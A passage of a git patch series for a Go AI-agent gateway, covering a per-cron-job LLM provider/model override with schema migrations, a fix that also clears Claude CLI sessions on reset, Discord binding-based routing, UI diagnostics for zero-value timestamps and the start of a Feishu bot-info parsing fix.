override (mirrors heartbeat). Unset → agent default. + var providerOverride providers.Provider + if job.ProviderID != nil && providerStore != nil && providerReg != nil { + if provData, perr := providerStore.GetProvider(cronCtx, *job.ProviderID); perr == nil { + if prov, gerr := providerReg.GetForTenant(job.TenantID, provData.Name); gerr == nil { + providerOverride = prov + } else { + slog.Warn("cron.provider_not_in_registry", "job", job.ID, "provider_id", job.ProviderID, "error", gerr) + } + } else { + slog.Warn("cron.provider_not_found", "job", job.ID, "provider_id", job.ProviderID, "error", perr) + } + } + var modelOverride string + if job.Model != nil { + modelOverride = *job.Model + } + // Schedule through cron lane — scheduler handles agent resolution and concurrency outCh := sched.Schedule(cronCtx, scheduler.LaneCron, agent.RunRequest{ SessionKey: sessionKey, @@ -108,6 +127,8 @@ func makeCronJobHandler(sched *scheduler.Scheduler, msgBus *bus.MessageBus, cfg UserID: job.UserID, RunID: fmt.Sprintf("cron:%s", job.ID), Stream: false, + ModelOverride: modelOverride, + ProviderOverride: providerOverride, ExtraSystemPrompt: extraPrompt, TraceName: fmt.Sprintf("Cron [%s] - %s", job.Name, agentID), TraceTags: []string{"cron"}, diff --git a/cmd/gateway_cron_test.go b/cmd/gateway_cron_test.go index cd3f4735..ccd81060 100644 --- a/cmd/gateway_cron_test.go +++ b/cmd/gateway_cron_test.go @@ -41,6 +41,8 @@ func TestCronJobHandlerInjectsPayloadCredentialUserID(t *testing.T) { nil, nil, nil, + nil, + nil, ) result, err := handler(&store.CronJob{ @@ -135,6 +137,8 @@ func TestCronJobHandlerSuppressesNoReplyDelivery(t *testing.T) { nil, nil, nil, + nil, + nil, ) result, err := handler(&store.CronJob{ diff --git a/cmd/gateway_heartbeat.go b/cmd/gateway_heartbeat.go index 7569e271..aec569ed 100644 --- a/cmd/gateway_heartbeat.go +++ b/cmd/gateway_heartbeat.go @@ -42,7 +42,7 @@ func startCronAndHeartbeat( heartbeatMethods *methods.HeartbeatMethods, ) *heartbeat.Ticker { // Start cron service with job handler (routes through scheduler's cron lane) - pgStores.Cron.SetOnJob(makeCronJobHandler(sched, msgBus, cfg, channelMgr, pgStores.Sessions, pgStores.Agents)) + pgStores.Cron.SetOnJob(makeCronJobHandler(sched, msgBus, cfg, channelMgr, pgStores.Sessions, pgStores.Agents, pgStores.Providers, providerRegistry)) pgStores.Cron.SetOnEvent(func(event store.CronEvent) { server.BroadcastEvent(*protocol.NewEvent(protocol.EventCron, event)) }) diff --git a/cmd/gateway_tools_wiring.go b/cmd/gateway_tools_wiring.go index 85a0e001..bf782399 100644 --- a/cmd/gateway_tools_wiring.go +++ b/cmd/gateway_tools_wiring.go @@ -42,7 +42,9 @@ func wireExtraTools( toolsReg.Register(tools.NewWaitTool()) // Cron tool (agent-facing) - toolsReg.Register(tools.NewCronTool(pgStores.Cron)) + cronTool := tools.NewCronTool(pgStores.Cron) + cronTool.SetProviderStore(pgStores.Providers) + toolsReg.Register(cronTool) slog.Info("cron tool registered") // Heartbeat tool (agent-facing) diff --git a/internal/store/cron_store.go b/internal/store/cron_store.go index 1ac5e651..4e3204b3 100644 --- a/internal/store/cron_store.go +++ b/internal/store/cron_store.go @@ -36,6 +36,8 @@ type CronJob struct { DeliverChannel string `json:"deliverChannel" db:"deliver_channel"` DeliverTo string `json:"deliverTo" db:"deliver_to"` WakeHeartbeat bool `json:"wakeHeartbeat" db:"wake_heartbeat"` + ProviderID *uuid.UUID `json:"providerId,omitempty" db:"provider_id"` + Model *string `json:"model,omitempty" db:"model"` } // CronSchedule defines when a job should run. @@ -126,6 +128,8 @@ type CronJobPatch struct { DeliverChannel *string `json:"deliverChannel,omitempty" db:"-"` DeliverTo *string `json:"deliverTo,omitempty" db:"-"` WakeHeartbeat *bool `json:"wakeHeartbeat,omitempty" db:"-"` + ProviderID *uuid.UUID `json:"providerId,omitempty" db:"-"` + Model *string `json:"model,omitempty" db:"-"` } // CronEvent represents a job lifecycle event sent to subscribers. diff --git a/internal/store/pg/cron_crud.go b/internal/store/pg/cron_crud.go index f3633c21..ec8f5d44 100644 --- a/internal/store/pg/cron_crud.go +++ b/internal/store/pg/cron_crud.go @@ -101,7 +101,7 @@ func (s *PGCronStore) ListJobs(ctx context.Context, includeDisabled bool, agentI q := `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE 1=1` + created_at, updated_at, provider_id, model FROM cron_jobs WHERE 1=1` var args []any argIdx := 1 diff --git a/internal/store/pg/cron_scan.go b/internal/store/pg/cron_scan.go index 7926fb01..38f5cb36 100644 --- a/internal/store/pg/cron_scan.go +++ b/internal/store/pg/cron_scan.go @@ -17,7 +17,7 @@ func (s *PGCronStore) scanJob(ctx context.Context, id uuid.UUID) (*store.CronJob q := `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE id = $1` + created_at, updated_at, provider_id, model FROM cron_jobs WHERE id = $1` args := []any{id} if !store.IsCrossTenant(ctx) { @@ -53,11 +53,13 @@ func scanCronRow(row cronRowScanner) (*store.CronJob, error) { var intervalMS *int64 var payloadJSON []byte var createdAt, updatedAt time.Time + var providerID *uuid.UUID + var model *string err := row.Scan(&id, &tenantID, &agentID, &userID, &name, &enabled, &scheduleKind, &cronExpr, &runAt, &tz, &intervalMS, &payloadJSON, &deleteAfterRun, &stateless, &deliver, &deliverChannel, &deliverTo, &wakeHeartbeat, &nextRunAt, &lastRunAt, &lastStatus, &lastError, - &createdAt, &updatedAt) + &createdAt, &updatedAt, &providerID, &model) if err != nil { return nil, err } @@ -88,6 +90,9 @@ func scanCronRow(row cronRowScanner) (*store.CronJob, error) { WakeHeartbeat: wakeHeartbeat, } + job.ProviderID = providerID + job.Model = model + if agentID != nil { job.AgentID = agentID.String() } diff --git a/internal/store/pg/cron_scheduler.go b/internal/store/pg/cron_scheduler.go index a4ca5c66..8d557c7f 100644 --- a/internal/store/pg/cron_scheduler.go +++ b/internal/store/pg/cron_scheduler.go @@ -40,7 +40,7 @@ func (s *PGCronStore) refreshJobCache() { `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE enabled = true`) + created_at, updated_at, provider_id, model FROM cron_jobs WHERE enabled = true`) if err != nil { return } @@ -373,7 +373,7 @@ func (s *PGCronStore) loadClaimedJob(id uuid.UUID) (*store.CronJob, bool) { `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at + created_at, updated_at, provider_id, model FROM cron_jobs WHERE id = $1 AND enabled = true AND next_run_at IS NULL`, id, diff --git a/internal/store/pg/cron_update.go b/internal/store/pg/cron_update.go index a7c85970..378e22d9 100644 --- a/internal/store/pg/cron_update.go +++ b/internal/store/pg/cron_update.go @@ -89,6 +89,12 @@ func (s *PGCronStore) UpdateJob(ctx context.Context, jobID string, patch store.C if patch.WakeHeartbeat != nil { updates["wake_heartbeat"] = *patch.WakeHeartbeat } + if patch.ProviderID != nil { + updates["provider_id"] = *patch.ProviderID + } + if patch.Model != nil { + updates["model"] = *patch.Model + } if patch.Message != "" { payload := current.Payload @@ -181,7 +187,6 @@ func (s *PGCronStore) lockCronJobForMutation(ctx context.Context, tx *sql.Tx, id return &state, nil } - func execCronJobUpdateTx(ctx context.Context, tx *sql.Tx, id uuid.UUID, updates map[string]any) error { if len(updates) == 0 { return nil @@ -219,4 +224,3 @@ func execCronJobUpdateTx(ctx context.Context, tx *sql.Tx, id uuid.UUID, updates } return nil } - diff --git a/internal/store/sqlitestore/cron.go b/internal/store/sqlitestore/cron.go index 2e131206..6f878516 100644 --- a/internal/store/sqlitestore/cron.go +++ b/internal/store/sqlitestore/cron.go @@ -131,11 +131,13 @@ func scanCronRow(row cronRowScanner) (*store.CronJob, error) { var intervalMS *int64 var payloadJSON []byte createdAt, updatedAt := scanTimePair() + var providerID *uuid.UUID + var model *string err := row.Scan(&id, &tenantID, &agentID, &userID, &name, &enabled, &scheduleKind, &cronExpr, &runAt, &tz, &intervalMS, &payloadJSON, &deleteAfterRun, &stateless, &deliver, &deliverChannel, &deliverTo, &wakeHeartbeat, &nextRunAt, &lastRunAt, &lastStatus, &lastError, - createdAt, updatedAt) + createdAt, updatedAt, &providerID, &model) if err != nil { return nil, err } @@ -164,6 +166,9 @@ func scanCronRow(row cronRowScanner) (*store.CronJob, error) { WakeHeartbeat: wakeHeartbeat, } + job.ProviderID = providerID + job.Model = model + if agentID != nil { job.AgentID = agentID.String() } @@ -210,7 +215,7 @@ func (s *SQLiteCronStore) scanJob(ctx context.Context, id uuid.UUID) (*store.Cro q := `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE id = ?` + created_at, updated_at, provider_id, model FROM cron_jobs WHERE id = ?` args := []any{id} if !store.IsCrossTenant(ctx) { diff --git a/internal/store/sqlitestore/cron_crud.go b/internal/store/sqlitestore/cron_crud.go index 054e0eff..97d2ce59 100644 --- a/internal/store/sqlitestore/cron_crud.go +++ b/internal/store/sqlitestore/cron_crud.go @@ -103,7 +103,7 @@ func (s *SQLiteCronStore) ListJobs(ctx context.Context, includeDisabled bool, ag q := `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE 1=1` + created_at, updated_at, provider_id, model FROM cron_jobs WHERE 1=1` var args []any @@ -303,6 +303,12 @@ func (s *SQLiteCronStore) UpdateJob(ctx context.Context, jobID string, patch sto if patch.WakeHeartbeat != nil { updates["wake_heartbeat"] = *patch.WakeHeartbeat } + if patch.ProviderID != nil { + updates["provider_id"] = *patch.ProviderID + } + if patch.Model != nil { + updates["model"] = *patch.Model + } if patch.Message != "" { payload := current.Payload diff --git a/internal/store/sqlitestore/cron_scheduler.go b/internal/store/sqlitestore/cron_scheduler.go index 8641a5f3..fd3321ce 100644 --- a/internal/store/sqlitestore/cron_scheduler.go +++ b/internal/store/sqlitestore/cron_scheduler.go @@ -42,7 +42,7 @@ func (s *SQLiteCronStore) refreshJobCache() { `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at FROM cron_jobs WHERE enabled = 1`) + created_at, updated_at, provider_id, model FROM cron_jobs WHERE enabled = 1`) if err != nil { return } @@ -366,7 +366,7 @@ func (s *SQLiteCronStore) loadClaimedJob(id uuid.UUID) (*store.CronJob, bool) { `SELECT id, tenant_id, agent_id, user_id, name, enabled, schedule_kind, cron_expression, run_at, timezone, interval_ms, payload, delete_after_run, stateless, deliver, deliver_channel, deliver_to, wake_heartbeat, next_run_at, last_run_at, last_status, last_error, - created_at, updated_at + created_at, updated_at, provider_id, model FROM cron_jobs WHERE id = ? AND enabled = 1 AND next_run_at IS NULL`, id, diff --git a/internal/store/sqlitestore/schema.go b/internal/store/sqlitestore/schema.go index d7ea3a3e..01c3caf8 100644 --- a/internal/store/sqlitestore/schema.go +++ b/internal/store/sqlitestore/schema.go @@ -16,7 +16,7 @@ var schemaSQL string // SchemaVersion is the current SQLite schema version. // Bump this when adding new migration steps below. -const SchemaVersion = 49 +const SchemaVersion = 50 // migrations maps version → SQL to apply when upgrading FROM that version. // schema.sql always represents the LATEST full schema (for fresh DBs). @@ -30,6 +30,9 @@ const SchemaVersion = 49 // // Then bump SchemaVersion to 2. var migrations = map[int]string{ + // Version 49 → 50: per-cron-job LLM provider/model override (mirrors agent_heartbeats). + 49: `ALTER TABLE cron_jobs ADD COLUMN provider_id TEXT REFERENCES llm_providers(id) ON DELETE SET NULL; +ALTER TABLE cron_jobs ADD COLUMN model VARCHAR(200);`, // Version 1 → 2: add contact_type column to channel_contacts. 1: `ALTER TABLE channel_contacts ADD COLUMN contact_type VARCHAR(20) NOT NULL DEFAULT 'user';`, // Version 2 → 3: promote cron payload fields to dedicated columns + add stateless flag. diff --git a/internal/store/sqlitestore/schema.sql b/internal/store/sqlitestore/schema.sql index c23b2d55..75538b7c 100644 --- a/internal/store/sqlitestore/schema.sql +++ b/internal/store/sqlitestore/schema.sql @@ -470,6 +470,8 @@ CREATE TABLE IF NOT EXISTS cron_jobs ( deliver_channel TEXT NOT NULL DEFAULT '', deliver_to TEXT NOT NULL DEFAULT '', wake_heartbeat INTEGER NOT NULL DEFAULT 0, + provider_id TEXT REFERENCES llm_providers(id) ON DELETE SET NULL, + model VARCHAR(200), next_run_at TEXT, last_run_at TEXT, last_status VARCHAR(20), diff --git a/internal/tools/cron.go b/internal/tools/cron.go index 5eccee04..91802833 100644 --- a/internal/tools/cron.go +++ b/internal/tools/cron.go @@ -6,14 +6,16 @@ import ( "fmt" "time" + "github.com/google/uuid" "github.com/nextlevelbuilder/goclaw/internal/store" ) // CronTool lets agents manage Gateway cron jobs. // Matching OpenClaw src/agents/tools/cron-tool.ts. type CronTool struct { - cronStore store.CronStore - permStore store.ConfigPermissionStore // nil = no group restriction + cronStore store.CronStore + permStore store.ConfigPermissionStore // nil = no group restriction + providerStore store.ProviderStore // nil = provider override by name unavailable } func NewCronTool(cronStore store.CronStore) *CronTool { @@ -25,6 +27,11 @@ func (t *CronTool) SetConfigPermStore(s store.ConfigPermissionStore) { t.permStore = s } +// SetProviderStore enables resolving per-job LLM provider overrides by name. +func (t *CronTool) SetProviderStore(s store.ProviderStore) { + t.providerStore = s +} + func (t *CronTool) Name() string { return "cron" } func (t *CronTool) Description() string { @@ -49,6 +56,8 @@ VALID ACTIONS AND EXACT PAYLOAD SHAPES: "channel": "string", // optional, auto-filled from current channel context "to": "string", // optional "agentId": "string", // optional, defaults to current agent + "provider": "string", // optional, LLM provider NAME (e.g. "groq") to run this job on a cheaper model; unset → agent default + "model": "string", // optional, model id for the override provider "deleteAfterRun": true|false // optional, default true for schedule.kind="at" } } @@ -65,6 +74,8 @@ VALID ACTIONS AND EXACT PAYLOAD SHAPES: "channel": "string", "to": "string", "agentId": "string", + "provider": "string", + "model": "string", "deleteAfterRun": true|false, "disabled": true|false } @@ -110,7 +121,7 @@ func (t *CronTool) Parameters() map[string]any { }, "job": map[string]any{ "type": "object", - "description": "Job definition for add action (name, schedule, message, deliver, channel, to, agentId, deleteAfterRun)", + "description": "Job definition for add action (name, schedule, message, deliver, channel, to, agentId, provider, model, deleteAfterRun)", "additionalProperties": true, }, "jobId": map[string]any{ @@ -293,15 +304,36 @@ func (t *CronTool) handleAdd(ctx context.Context, args map[string]any, agentID, agentID = explicit } + // Resolve optional per-job provider/model override before creating the job. + providerID, errR := t.resolveProviderID(ctx, jobObj) + if errR != nil { + return errR + } + modelOverride, _ := jobObj["model"].(string) + job, err := t.cronStore.AddJob(ctx, name, schedule, message, deliver, channel, to, agentID, userID) if err != nil { return ErrorResult(fmt.Sprintf("failed to create cron job: %v", err)) } - // Set wake_heartbeat if requested (triggers heartbeat after cron job completes) + // Apply post-create overrides (wake_heartbeat, provider/model) in a single patch. + overridePatch := store.CronJobPatch{} + needOverride := false if wh, _ := jobObj["wake_heartbeat"].(bool); wh { wakeTrue := true - if updated, uErr := t.cronStore.UpdateJob(ctx, job.ID, store.CronJobPatch{WakeHeartbeat: &wakeTrue}); uErr == nil { + overridePatch.WakeHeartbeat = &wakeTrue + needOverride = true + } + if providerID != nil { + overridePatch.ProviderID = providerID + needOverride = true + } + if modelOverride != "" { + overridePatch.Model = &modelOverride + needOverride = true + } + if needOverride { + if updated, uErr := t.cronStore.UpdateJob(ctx, job.ID, overridePatch); uErr == nil { job = updated } } @@ -353,6 +385,15 @@ func (t *CronTool) handleUpdate(ctx context.Context, args map[string]any, agentI patchJSON, _ := json.Marshal(patchObj) json.Unmarshal(patchJSON, &patch) + // Resolve provider override by name (providerId UUID is handled by JSON tags above). + if name, _ := patchObj["provider"].(string); name != "" { + pid, errR := t.resolveProviderID(ctx, patchObj) + if errR != nil { + return errR + } + patch.ProviderID = pid + } + // Validate atMs not in the past when updating schedule if patch.Schedule != nil && patch.Schedule.Kind == "at" && patch.Schedule.AtMS != nil { if *patch.Schedule.AtMS <= time.Now().UnixMilli() { @@ -447,6 +488,30 @@ func (t *CronTool) handleRuns(ctx context.Context, args map[string]any, agentID, return NewResult(string(data)) } +// resolveProviderID resolves an optional per-job provider override from a job/patch +// map. Accepts "providerId" (UUID string) or "provider" (provider name, looked up +// via the provider store). Returns (nil, nil) when neither is present. +func (t *CronTool) resolveProviderID(ctx context.Context, m map[string]any) (*uuid.UUID, *Result) { + if raw, _ := m["providerId"].(string); raw != "" { + id, err := uuid.Parse(raw) + if err != nil { + return nil, ErrorResult(fmt.Sprintf("invalid providerId %q: must be a UUID", raw)) + } + return &id, nil + } + if name, _ := m["provider"].(string); name != "" { + if t.providerStore == nil { + return nil, ErrorResult("provider override by name is unavailable; pass providerId instead") + } + pd, err := t.providerStore.GetProviderByName(ctx, name) + if err != nil || pd == nil { + return nil, ErrorResult(fmt.Sprintf("provider %q not found; register it first or pass a valid providerId", name)) + } + return &pd.ID, nil + } + return nil, nil +} + // --- helpers --- func resolveJobID(args map[string]any) string { diff --git a/internal/upgrade/version.go b/internal/upgrade/version.go index 3c7da9e3..c15a7d67 100644 --- a/internal/upgrade/version.go +++ b/internal/upgrade/version.go @@ -2,4 +2,4 @@ package upgrade // RequiredSchemaVersion is the schema migration version this binary requires. // Bump this whenever adding a new SQL migration file. -const RequiredSchemaVersion uint = 80 +const RequiredSchemaVersion uint = 81 diff --git a/migrations/000081_cron_provider_override.down.sql b/migrations/000081_cron_provider_override.down.sql new file mode 100644 index 00000000..fd0579cb --- /dev/null +++ b/migrations/000081_cron_provider_override.down.sql @@ -0,0 +1,2 @@ +ALTER TABLE cron_jobs DROP COLUMN IF EXISTS provider_id; +ALTER TABLE cron_jobs DROP COLUMN IF EXISTS model; diff --git a/migrations/000081_cron_provider_override.up.sql b/migrations/000081_cron_provider_override.up.sql new file mode 100644 index 00000000..ce471a13 --- /dev/null +++ b/migrations/000081_cron_provider_override.up.sql @@ -0,0 +1,6 @@ +-- 000081: per-cron-job LLM provider/model override. +-- Mirrors agent_heartbeats.provider_id/model (see 000022) so scheduled jobs can run +-- on a cheaper provider than the agent default. NULL → falls back to agent default. +ALTER TABLE cron_jobs + ADD COLUMN IF NOT EXISTS provider_id UUID REFERENCES llm_providers(id) ON DELETE SET NULL, + ADD COLUMN IF NOT EXISTS model VARCHAR(200); From cedd6673c4b2aacd5492b1cd8f1c7fe297529c66 Mon Sep 17 00:00:00 2001 From: Zezae Oh Date: Sun, 21 Jun 2026 02:36:35 +0900 Subject: [PATCH 005/252] fix(gateway): clear claude-cli session on sessions.reset RPC (#1232) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The sessions.reset RPC only reset the native session store, leaving the Claude CLI-backed history (.jsonl + CLAUDE.md) in place. The /reset chat command already clears it via providers.ResetCLISession, so RPC callers got an incomplete reset for claude-cli agents — stale history was resumed on the next turn. Mirror the chat path by calling ResetCLISession from handleReset. It is a no-op when the CLI provider is unused. The call is wired through an overridable package var so the behavior can be regression-tested. --- internal/gateway/methods/sessions.go | 9 ++++ .../methods/sessions_reset_cli_test.go | 43 +++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 internal/gateway/methods/sessions_reset_cli_test.go diff --git a/internal/gateway/methods/sessions.go b/internal/gateway/methods/sessions.go index 8f0bb321..45b258a2 100644 --- a/internal/gateway/methods/sessions.go +++ b/internal/gateway/methods/sessions.go @@ -9,6 +9,7 @@ import ( "github.com/nextlevelbuilder/goclaw/internal/gateway" httpapi "github.com/nextlevelbuilder/goclaw/internal/http" "github.com/nextlevelbuilder/goclaw/internal/i18n" + "github.com/nextlevelbuilder/goclaw/internal/providers" "github.com/nextlevelbuilder/goclaw/internal/store" "github.com/nextlevelbuilder/goclaw/pkg/protocol" ) @@ -204,6 +205,10 @@ func (m *SessionsMethods) handleDelete(ctx context.Context, client *gateway.Clie emitAudit(m.eventBus, client, "session.deleted", "session", params.Key) } +// cliSessionReset clears the Claude CLI-backed session for a key. It is a +// package var so tests can stub it; defaults to the real provider helper. +var cliSessionReset = providers.ResetCLISession + func (m *SessionsMethods) handleReset(ctx context.Context, client *gateway.Client, req *protocol.RequestFrame) { locale := store.LocaleFromContext(ctx) var params sessionKeyParams @@ -225,6 +230,10 @@ func (m *SessionsMethods) handleReset(ctx context.Context, client *gateway.Clien } m.sessions.Reset(ctx, params.Key) + // Also clear the Claude CLI session (.jsonl + CLAUDE.md) so the RPC reset + // matches the /reset chat command for claude-cli-backed agents (no-op when + // the CLI provider is unused). + cliSessionReset("", params.Key) client.SendResponse(protocol.NewOKResponse(req.ID, map[string]any{ "ok": true, diff --git a/internal/gateway/methods/sessions_reset_cli_test.go b/internal/gateway/methods/sessions_reset_cli_test.go new file mode 100644 index 00000000..3aa74d4c --- /dev/null +++ b/internal/gateway/methods/sessions_reset_cli_test.go @@ -0,0 +1,43 @@ +package methods + +import ( + "context" + "testing" + + "github.com/nextlevelbuilder/goclaw/pkg/protocol" +) + +// TestSessionsReset_ClearsCLISession is a regression guard ensuring the +// sessions.reset RPC also clears the Claude CLI-backed session, matching the +// /reset chat command. Previously the RPC only reset the native session store, +// leaving claude-cli history (.jsonl + CLAUDE.md) in place. +func TestSessionsReset_ClearsCLISession(t *testing.T) { + sess := newStubSessionStore() + // Empty userID matches nullClient()'s empty UserID, so the ownership + // check in handleReset passes and we reach the reset path. + sess.addSession("reset-key", "") + m := buildSessionMethods(t, sess) + client := nullClient() + + var called bool + var gotKey string + orig := cliSessionReset + cliSessionReset = func(_, sessionKey string) { + called = true + gotKey = sessionKey + } + t.Cleanup(func() { cliSessionReset = orig }) + + req := sessionReqFrame(t, protocol.MethodSessionsReset, map[string]any{"key": "reset-key"}) + m.handleReset(context.Background(), client, req) + + if !called { + t.Fatal("sessions.reset did not clear the Claude CLI session") + } + if gotKey != "reset-key" { + t.Errorf("CLI reset key = %q, want %q", gotKey, "reset-key") + } + if len(sess.resetCalled) != 1 || sess.resetCalled[0] != "reset-key" { + t.Errorf("native store.Reset calls = %v, want [reset-key]", sess.resetCalled) + } +} From bdc9abd5768bdbcea55f437375fe3fa748fa0fee Mon Sep 17 00:00:00 2001 From: Muhamad Said Fathurrohman <8704817+msaidf@users.noreply.github.com> Date: Sun, 21 Jun 2026 00:49:22 +0700 Subject: [PATCH 006/252] feat(discord): enable binding-based agent routing (#1243) Clear targetAgentID in handleMessage so the gateway consumer's resolveAgentRoute matches via cfg.Bindings instead of always using the channel instance's agent_id. Without this patch, all Discord channels route to the channel instance's default agent, ignoring bindings in config.json. Add slog.Info call for routing diagnostics. Co-authored-by: Duy /zuey/ Co-authored-by: Said --- internal/channels/discord/handler.go | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/internal/channels/discord/handler.go b/internal/channels/discord/handler.go index fe9f9f98..fc7df229 100644 --- a/internal/channels/discord/handler.go +++ b/internal/channels/discord/handler.go @@ -302,8 +302,19 @@ func (c *Channel) handleMessage(_ *discordgo.Session, m *discordgo.MessageCreate } } + // PATCHED: Clear AgentID so the gateway consumer's resolveAgentRoute + // (cmd/gateway_consumer_normal.go:40-43) matches via cfg.Bindings. + // The consumer checks: if msg.AgentID == "" → resolveAgentRoute(cfg, msg.Channel, msg.ChatID, msg.PeerKind) + // Bindings in config.json match by channel name + peer.kind + peer.id. + // If no binding matches, resolveAgentRoute falls back to cfg.ResolveDefaultAgentID(). + targetAgentID := "" + slog.Info("discord: binding routing enabled", + "channel_id", channelID, + "channel_name", c.Name(), + "peer_kind", peerKind, + ) + // Voice agent routing - targetAgentID := c.AgentID() if c.config.VoiceAgentID != "" { for _, mi := range mediaList { if mi.Type == media.TypeAudio || mi.Type == media.TypeVoice { From 124d4bee0d81cada41af87394fd6829f422051ed Mon Sep 17 00:00:00 2001 From: Evgeny Yurchenko <120411712+evgyur@users.noreply.github.com> Date: Sat, 20 Jun 2026 22:03:41 +0300 Subject: [PATCH 007/252] fix(channels): ignore zero failure timestamps (#1157) Use the existing relative-time guard when deciding whether to show channel diagnostics, so Go zero-value timestamps do not make healthy channels look broken. Add regression coverage for zero-value first_failed_at and active failure states. Co-authored-by: evgyur --- .../channel-detail/channel-detail-page.tsx | 8 ++--- .../channels/channels-status-utils.test.ts | 35 +++++++++++++++++++ .../pages/channels/channels-status-utils.ts | 12 +++++++ .../pages/channels/channels-status-view.tsx | 1 + 4 files changed, 50 insertions(+), 6 deletions(-) create mode 100644 ui/web/src/pages/channels/channels-status-utils.test.ts diff --git a/ui/web/src/pages/channels/channel-detail/channel-detail-page.tsx b/ui/web/src/pages/channels/channel-detail/channel-detail-page.tsx index 895e8149..dce2aa1c 100644 --- a/ui/web/src/pages/channels/channel-detail/channel-detail-page.tsx +++ b/ui/web/src/pages/channels/channel-detail/channel-detail-page.tsx @@ -21,6 +21,7 @@ import { getChannelRemediationMeta, getRenderableChannelStatus, getChannelStatusMeta, + shouldShowChannelDiagnosticsCard, } from "../channels-status-view"; import { useChannelTimeline } from "./channel-detail-timeline-hook"; import { ChannelDetailDialogs } from "./channel-detail-dialogs"; @@ -139,12 +140,7 @@ export function ChannelDetailPage({ const timelineItems = useChannelTimeline(status, t); - const showDiagnosticsCard = - status?.state === "failed" || - status?.state === "degraded" || - !!status?.remediation || - !!status?.consecutive_failures || - !!status?.first_failed_at; + const showDiagnosticsCard = shouldShowChannelDiagnosticsCard(status); const neutralHealthNote = !showDiagnosticsCard && diff --git a/ui/web/src/pages/channels/channels-status-utils.test.ts b/ui/web/src/pages/channels/channels-status-utils.test.ts new file mode 100644 index 00000000..b6c0290f --- /dev/null +++ b/ui/web/src/pages/channels/channels-status-utils.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, it } from "vitest"; +import type { ChannelRuntimeStatus } from "@/types/channel"; +import { shouldShowChannelDiagnosticsCard } from "./channels-status-utils"; + +function status(overrides: Partial): ChannelRuntimeStatus { + return { + enabled: true, + running: true, + state: "healthy", + ...overrides, + }; +} + +describe("shouldShowChannelDiagnosticsCard", () => { + it("ignores Go zero-value first_failed_at timestamps on healthy channels", () => { + expect( + shouldShowChannelDiagnosticsCard( + status({ first_failed_at: "0001-01-01T00:00:00Z" }), + ), + ).toBe(false); + }); + + it("shows diagnostics for meaningful failure timestamps", () => { + expect( + shouldShowChannelDiagnosticsCard( + status({ first_failed_at: "2026-01-01T00:00:00Z" }), + ), + ).toBe(true); + }); + + it("still shows diagnostics for active degraded or failed states", () => { + expect(shouldShowChannelDiagnosticsCard(status({ state: "degraded" }))).toBe(true); + expect(shouldShowChannelDiagnosticsCard(status({ state: "failed" }))).toBe(true); + }); +}); diff --git a/ui/web/src/pages/channels/channels-status-utils.ts b/ui/web/src/pages/channels/channels-status-utils.ts index 12e9f958..70af4949 100644 --- a/ui/web/src/pages/channels/channels-status-utils.ts +++ b/ui/web/src/pages/channels/channels-status-utils.ts @@ -161,6 +161,18 @@ export function getChannelCheckedLabel( }); } +export function shouldShowChannelDiagnosticsCard( + status: ChannelRuntimeStatus | null | undefined, +) { + return ( + status?.state === "failed" || + status?.state === "degraded" || + !!status?.remediation || + !!status?.consecutive_failures || + !!formatRelativeTime(status?.first_failed_at) + ); +} + export function getChannelFailureKindLabel( kind: ChannelRuntimeStatus["failure_kind"], t: TFunction, diff --git a/ui/web/src/pages/channels/channels-status-view.tsx b/ui/web/src/pages/channels/channels-status-view.tsx index 5b71220e..9a86de1f 100644 --- a/ui/web/src/pages/channels/channels-status-view.tsx +++ b/ui/web/src/pages/channels/channels-status-view.tsx @@ -23,6 +23,7 @@ export { getRenderableChannelStatus, getChannelCheckedLabel, getChannelFailureKindLabel, + shouldShowChannelDiagnosticsCard, getChannelAttentionPriority, getChannelStatusMeta, getChannelRemediationMeta, From 7e51666357cc782cf89b51556a119d418ccf9933 Mon Sep 17 00:00:00 2001 From: jason1804 <141205432+jason1804@users.noreply.github.com> Date: Sun, 21 Jun 2026 03:34:07 +0700 Subject: [PATCH 008/252] fix(feishu): parse bot/v3/info top-level bot object for mention detection (#1189) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The legacy /open-apis/bot/v3/info endpoint returns the bot object at the top level of the response, not inside "data" like newer Lark APIs. The probe always failed to extract open_id, leaving botOpenID empty, which made every group mention count as a bot mention — the bot replied to messages mentioning other users even with requireMention enabled. - Read top-level "bot" first, fall back to data.bot defensively - Retry the startup probe with backoff to survive transient failures - Fix test fixtures to match the real API response shape Fixes #895 --- internal/channels/feishu/feishu.go | 25 ++++++++++++-- internal/channels/feishu/larkclient.go | 3 ++ .../channels/feishu/larkclient_messaging.go | 33 +++++++++++++++---- 